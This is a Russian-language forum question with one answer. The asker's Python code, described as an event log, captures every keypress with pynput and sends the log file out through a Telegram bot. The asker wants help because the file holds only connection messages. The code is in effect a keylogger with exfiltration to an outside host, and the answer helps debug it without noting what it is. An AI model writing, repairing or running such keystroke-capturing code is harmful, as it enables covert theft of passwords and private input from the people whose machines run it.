Python - не отправляет нужные данные
Создаю журнал для записи всех событий и отправки удобным способом (модуль logging), для отправки данных выбрал Telegram-бота. Но проблема заключается в следующем. Данные отправляются только об успешном подключении, то есть в готовом файле хранятся не журнал, что писала программа. А любой файл содержит примерно такой текст:
2020-11-18 22:09:06,469:Starting new HTTPS connection (1): api.telegram.org
2020-11-18 22:09:07,140:"GET /bot токен
Сам код программы:
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("токен")
keygen = "файл.txt"
os.getcwd()
os.chdir(r"путь\ ")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
logging.disable(level=logging.CRITICAL)
shutil.copyfile(r"путь\файл.txt",
r"путь\файл1.txt")
file = open("путь\файл1.txt", "rb")
bot.send_document(message.chat.id, file)
file.close()
os.remove("путь\файл1.txt")
bot.stop_polling()
bot.polling()
def keypress(Key):
logging.info(str(Key))
with Listener(on_press=keypress) as listener:
listener.join()
Сражаюсь с этим уже неделю, не понимаю где тут ошибка моя. Заранее очень благодарен за ответ.
Ответы (1 шт):
Формулировка
Очень размытая формулировка, 4 раза прочитал - не понял до конца что вы хотите получить.
Ваш код можно логически разделить на 4 части:
- настройка логгирования в файл
- регистрация хэндлера c отправкой файла
- запуск бота
- код, который исполнится после остановки бота
А теперь о том, что вы сделали
В первом этапе вы настроили логгер. Я не вчитывался, но будем считать, что корректно.
На втором этапе командой logging.disable(level=logging.CRITICAL) вы выключили логгирование...
Третий этап запустил бота
Четвёртый этап (после остановки бота), вероятно вы пытаетесь что-то вводить в консоль, но отображаться оно тоже не будет, т.к. на втором этапе логгер был выключен.